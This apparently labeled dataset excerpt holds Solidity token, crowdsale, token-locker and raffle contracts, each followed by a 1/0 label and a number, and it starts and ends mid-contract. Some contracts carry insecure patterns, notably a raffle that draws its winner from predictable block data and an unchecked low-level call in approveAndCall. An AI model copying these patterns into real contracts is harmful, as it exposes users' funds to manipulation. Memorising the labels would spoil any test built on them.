require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement
) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
depositCount_++;
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
(
(
SafeMath.sub(
(sqrt
(
(_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_)
)
), _tokenPriceInitial
)
) / (tokenPriceIncremental_)
) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(
SafeMath.sub(
(
(
(
tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))
) - tokenPriceIncremental_
) * (tokens_ - 1e18)
), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2
)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,300 |
pragma solidity ^0.4.13;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract BountyManager is Ownable {
using SafeMath for uint256;
Peculium public pecul;
bool public initPecul;
event InitializedToken(address contractToken);
address public bountymanager ;
uint256 public bountymanagerShare;
bool public First_pay_bountymanager;
uint256 public first_pay;
uint256 public montly_pay;
bool public bountyInit;
uint256 public payday;
uint256 public nbMonthsPay;
event InitializedManager(address ManagerAdd);
event FirstPaySend(uint256 first,address receiver);
event MonthlyPaySend(uint256 monthPay,address receiverMonthly);
function BountyManager() {
bountymanagerShare = SafeMath.mul(72000000,(10**8));
first_pay = SafeMath.div(SafeMath.mul(40,bountymanagerShare),100);
montly_pay = SafeMath.div(SafeMath.mul(10,bountymanagerShare),100);
nbMonthsPay = 0;
First_pay_bountymanager=true;
initPecul = false;
bountyInit==false;
}
function InitPeculiumAdress(address peculAdress) onlyOwner
{
pecul = Peculium(peculAdress);
payday = pecul.dateDefrost();
initPecul = true;
InitializedToken(peculAdress);
}
function change_bounty_manager (address public_key) onlyOwner
{
bountymanager = public_key;
bountyInit=true;
InitializedManager(public_key);
}
function transferManager() onlyOwner Initialize BountyManagerInit
{
require(now > payday);
if(First_pay_bountymanager==false && nbMonthsPay < 6)
{
pecul.transfer(bountymanager,montly_pay);
payday = payday.add( 31 days);
nbMonthsPay=nbMonthsPay.add(1);
MonthlyPaySend(montly_pay,bountymanager);
}
if(First_pay_bountymanager==true)
{
pecul.transfer(bountymanager,first_pay);
payday = payday.add( 35 days);
First_pay_bountymanager=false;
FirstPaySend(first_pay,bountymanager);
}
}
modifier Initialize {
require (initPecul==true);
_;
}
modifier BountyManagerInit {
require (bountyInit==true);
_;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract Peculium is BurnableToken,Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
string public name = "Peculium";
string public symbol = "PCL";
uint256 public decimals = 8;
uint256 public constant MAX_SUPPLY_NBTOKEN = 20000000000*10**8;
uint256 public dateStartContract;
mapping(address => bool) public balancesCanSell;
uint256 public dateDefrost;
event FrozenFunds(address target, bool frozen);
event Defroze(address msgAdd, bool freeze);
function Peculium() {
totalSupply = MAX_SUPPLY_NBTOKEN;
balances[owner] = totalSupply;
balancesCanSell[owner] = true;
dateStartContract=now;
dateDefrost = dateStartContract + 85 days;
}
function defrostToken() public
{
require(now>dateDefrost);
balancesCanSell[msg.sender]=true;
Defroze(msg.sender,true);
}
function transfer(address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return BasicToken.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(balancesCanSell[msg.sender]);
return StandardToken.transferFrom(_from,_to,_value);
}
function freezeAccount(address target, bool canSell) onlyOwner
{
balancesCanSell[target] = canSell;
FrozenFunds(target, canSell);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
return true;
}
function getBlockTimestamp() constant returns (uint256)
{
return now;
}
function getOwnerInfos() constant returns (address ownerAddr, uint256 ownerBalance)
{
ownerAddr = owner;
ownerBalance = balanceOf(ownerAddr);
}
} | 1 | 2,460 |
pragma solidity ^0.4.13;
contract StandardContract {
modifier requires(bool b) {
require(b);
_;
}
modifier requiresOne(bool b1, bool b2) {
require(b1 || b2);
_;
}
modifier notNull(address a) {
require(a != 0);
_;
}
modifier notZero(uint256 a) {
require(a != 0);
_;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ReentrancyGuard {
bool private rentrancy_lock = false;
modifier nonReentrant() {
require(!rentrancy_lock);
rentrancy_lock = true;
_;
rentrancy_lock = false;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = 0x0;
}
}
contract HasNoEther is Ownable {
function HasNoEther() payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
contract SingleTokenLocker is Claimable, ReentrancyGuard, StandardContract, HasNoEther {
using SafeMath for uint256;
ERC20 public token;
uint256 public nextPromiseId;
mapping(uint256 => TokenPromise) public promises;
uint256 public promisedTokenBalance;
uint256 public lockedTokenBalance;
enum PromiseState { none, pending, confirmed, executed, canceled, failed }
mapping (uint => mapping(uint => bool)) stateTransitionMatrix;
bool initialized;
struct TokenPromise {
uint256 promiseId;
address recipient;
uint256 amount;
uint256 lockedUntil;
PromiseState state;
}
event logPromiseCreated(uint256 promiseId, address recipient, uint256 amount, uint256 lockedUntil);
event logPromiseConfirmed(uint256 promiseId);
event logPromiseCanceled(uint256 promiseId);
event logPromiseFulfilled(uint256 promiseId);
event logPromiseUnfulfillable(uint256 promiseId, address recipient, uint256 amount);
modifier onlyRecipient(uint256 promiseId) {
require(msg.sender == promises[promiseId].recipient);
_;
}
modifier promiseExists(uint promiseId) {
require(promiseId < nextPromiseId);
_;
}
modifier thenAssertState() {
_;
uint256 balance = tokenBalance();
assert(lockedTokenBalance <= promisedTokenBalance);
assert(promisedTokenBalance <= balance);
}
function SingleTokenLocker(address tokenAddress) {
token = ERC20(tokenAddress);
allowTransition(PromiseState.pending, PromiseState.canceled);
allowTransition(PromiseState.pending, PromiseState.executed);
allowTransition(PromiseState.pending, PromiseState.confirmed);
allowTransition(PromiseState.confirmed, PromiseState.executed);
allowTransition(PromiseState.executed, PromiseState.failed);
initialized = true;
}
function lockup(address recipient, uint256 amount, uint256 lockedUntil)
onlyOwner
notNull(recipient)
notZero(amount)
nonReentrant
external
{
ensureTokensAvailable(amount);
TokenPromise storage promise = createPromise(recipient, amount, lockedUntil);
if (recipient == owner) {
doConfirm(promise);
}
}
function cancel(uint256 promiseId)
promiseExists(promiseId)
requires(promises[promiseId].state == PromiseState.pending)
requiresOne(
msg.sender == owner,
msg.sender == promises[promiseId].recipient
)
nonReentrant
external
{
TokenPromise storage promise = promises[promiseId];
unlockTokens(promise, PromiseState.canceled);
logPromiseCanceled(promise.promiseId);
}
function confirm(uint256 promiseId)
promiseExists(promiseId)
onlyRecipient(promiseId)
requires(promises[promiseId].state == PromiseState.pending)
nonReentrant
external
{
doConfirm(promises[promiseId]);
}
function collect(uint256 promiseId)
promiseExists(promiseId)
onlyRecipient(promiseId)
requires(block.timestamp >= promises[promiseId].lockedUntil)
requiresOne(
promises[promiseId].state == PromiseState.pending,
promises[promiseId].state == PromiseState.confirmed
)
nonReentrant
external
{
TokenPromise storage promise = promises[promiseId];
unlockTokens(promise, PromiseState.executed);
if (token.transfer(promise.recipient, promise.amount)) {
logPromiseFulfilled(promise.promiseId);
}
else {
transition(promise, PromiseState.failed);
logPromiseUnfulfillable(promiseId, promise.recipient, promise.amount);
}
}
function withdrawUncommittedTokens(uint amount)
onlyOwner
requires(amount <= uncommittedTokenBalance())
nonReentrant
external
{
token.transfer(owner, amount);
}
function withdrawAllUncommittedTokens()
onlyOwner
nonReentrant
external
{
token.transfer(owner, uncommittedTokenBalance());
}
function salvageTokensFromContract(address tokenAddress, address to, uint amount)
onlyOwner
requiresOne(
tokenAddress != address(token),
amount <= uncommittedTokenBalance()
)
nonReentrant
external
{
ERC20(tokenAddress).transfer(to, amount);
}
function isConfirmed(uint256 promiseId)
constant
returns(bool)
{
return promises[promiseId].state == PromiseState.confirmed;
}
function canCollect(uint256 promiseId)
constant
returns(bool)
{
return (promises[promiseId].state == PromiseState.confirmed || promises[promiseId].state == PromiseState.pending)
&& block.timestamp >= promises[promiseId].lockedUntil;
}
function collectableTokenBalance()
constant
returns(uint256 collectable)
{
collectable = 0;
for (uint i=0; i<nextPromiseId; i++) {
if (canCollect(i)) {
collectable = collectable.add(promises[i].amount);
}
}
return collectable;
}
function getPromiseCount(address recipient, bool includeCompleted)
public
constant
returns (uint count)
{
for (uint i=0; i<nextPromiseId; i++) {
if (recipient != 0x0 && recipient != promises[i].recipient)
continue;
if (includeCompleted
|| promises[i].state == PromiseState.pending
|| promises[i].state == PromiseState.confirmed)
count += 1;
}
}
function getPromiseIds(uint from, uint to, address recipient, bool includeCompleted)
public
constant
returns (uint[] promiseIds)
{
uint[] memory promiseIdsTemp = new uint[](nextPromiseId);
uint count = 0;
uint i;
for (i=0; i<nextPromiseId && count < to; i++) {
if (recipient != 0x0 && recipient != promises[i].recipient)
continue;
if (includeCompleted
|| promises[i].state == PromiseState.pending
|| promises[i].state == PromiseState.confirmed)
{
promiseIdsTemp[count] = i;
count += 1;
}
}
promiseIds = new uint[](to - from);
for (i=from; i<to; i++)
promiseIds[i - from] = promiseIdsTemp[i];
}
function tokenBalance()
constant
returns(uint256)
{
return token.balanceOf(address(this));
}
function uncommittedTokenBalance()
constant
returns(uint256)
{
return tokenBalance() - promisedTokenBalance;
}
function pendingTokenBalance()
constant
returns(uint256)
{
return promisedTokenBalance - lockedTokenBalance;
}
function unlockTokens(TokenPromise storage promise, PromiseState newState)
internal
{
promisedTokenBalance = promisedTokenBalance.sub(promise.amount);
if (promise.state == PromiseState.confirmed) {
lockedTokenBalance = lockedTokenBalance.sub(promise.amount);
}
transition(promise, newState);
}
function allowTransition(PromiseState from, PromiseState to)
requires(!initialized)
internal
{
stateTransitionMatrix[uint(from)][uint(to)] = true;
}
function transition(TokenPromise storage promise, PromiseState newState)
internal
{
assert(stateTransitionMatrix[uint(promise.state)][uint(newState)]);
promise.state = newState;
}
function doConfirm(TokenPromise storage promise)
thenAssertState
internal
{
transition(promise, PromiseState.confirmed);
lockedTokenBalance = lockedTokenBalance.add(promise.amount);
logPromiseConfirmed(promise.promiseId);
}
function createPromise(address recipient, uint256 amount, uint256 lockedUntil)
requires(amount <= uncommittedTokenBalance())
thenAssertState
internal
returns(TokenPromise storage promise)
{
uint256 promiseId = nextPromiseId++;
promise = promises[promiseId];
promise.promiseId = promiseId;
promise.recipient = recipient;
promise.amount = amount;
promise.lockedUntil = lockedUntil;
promise.state = PromiseState.pending;
promisedTokenBalance = promisedTokenBalance.add(promise.amount);
logPromiseCreated(promiseId, recipient, amount, lockedUntil);
return promise;
}
function ensureTokensAvailable(uint256 amount)
onlyOwner
internal
{
uint256 uncommittedBalance = uncommittedTokenBalance();
if (uncommittedBalance < amount) {
token.transferFrom(owner, this, amount.sub(uncommittedBalance));
assert(uncommittedTokenBalance() >= amount);
}
}
} | 0 | 554 |
pragma solidity ^0.4.0;
contract Ethraffle {
struct Contestant {
address addr;
uint raffleId;
}
address public creatorAddress;
address constant public rakeAddress = 0x15887100f3b3cA0b645F007c6AA11348665c69e5;
uint constant public prize = 0.1 ether;
uint constant public rake = 0.02 ether;
uint constant public totalTickets = 6;
uint constant public pricePerTicket = (prize + rake) / totalTickets;
uint public raffleId = 0;
uint public nextTicket = 0;
uint public lastWinningNumber = 0;
mapping (uint => Contestant) public contestants;
uint[] public gaps;
function Ethraffle() public {
creatorAddress = msg.sender;
resetRaffle();
}
function resetRaffle() private {
raffleId++;
nextTicket = 1;
}
function () payable public {
buyTickets();
}
function buyTickets() payable public {
uint moneySent = msg.value;
while (moneySent >= pricePerTicket && nextTicket <= totalTickets) {
uint currTicket = 0;
if (gaps.length > 0) {
currTicket = gaps[gaps.length-1];
gaps.length--;
} else {
currTicket = nextTicket++;
}
contestants[currTicket] = Contestant(msg.sender, raffleId);
moneySent -= pricePerTicket;
}
if (nextTicket > totalTickets) {
chooseWinner();
}
if (moneySent > 0) {
msg.sender.transfer(moneySent);
}
}
function chooseWinner() private {
uint winningTicket = getRandom();
lastWinningNumber = winningTicket;
address winningAddress = contestants[winningTicket].addr;
resetRaffle();
winningAddress.transfer(prize);
rakeAddress.transfer(rake);
}
function getRandom() private returns (uint) {
return (uint(sha3(
block.timestamp +
block.number +
block.gaslimit +
block.difficulty +
msg.gas +
uint(msg.sender) +
uint(block.coinbase)
)) % totalTickets) + 1;
}
function getRefund() public {
uint refunds = 0;
for (uint i = 1; i <= totalTickets; i++) {
if (msg.sender == contestants[i].addr && raffleId == contestants[i].raffleId) {
refunds++;
contestants[i] = Contestant(address(0), 0);
gaps.push(i);
}
}
if (refunds > 0) {
msg.sender.transfer(refunds * pricePerTicket);
}
}
function kill() public {
if (msg.sender == creatorAddress) {
selfdestruct(creatorAddress);
}
}
} | 0 | 1,159 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
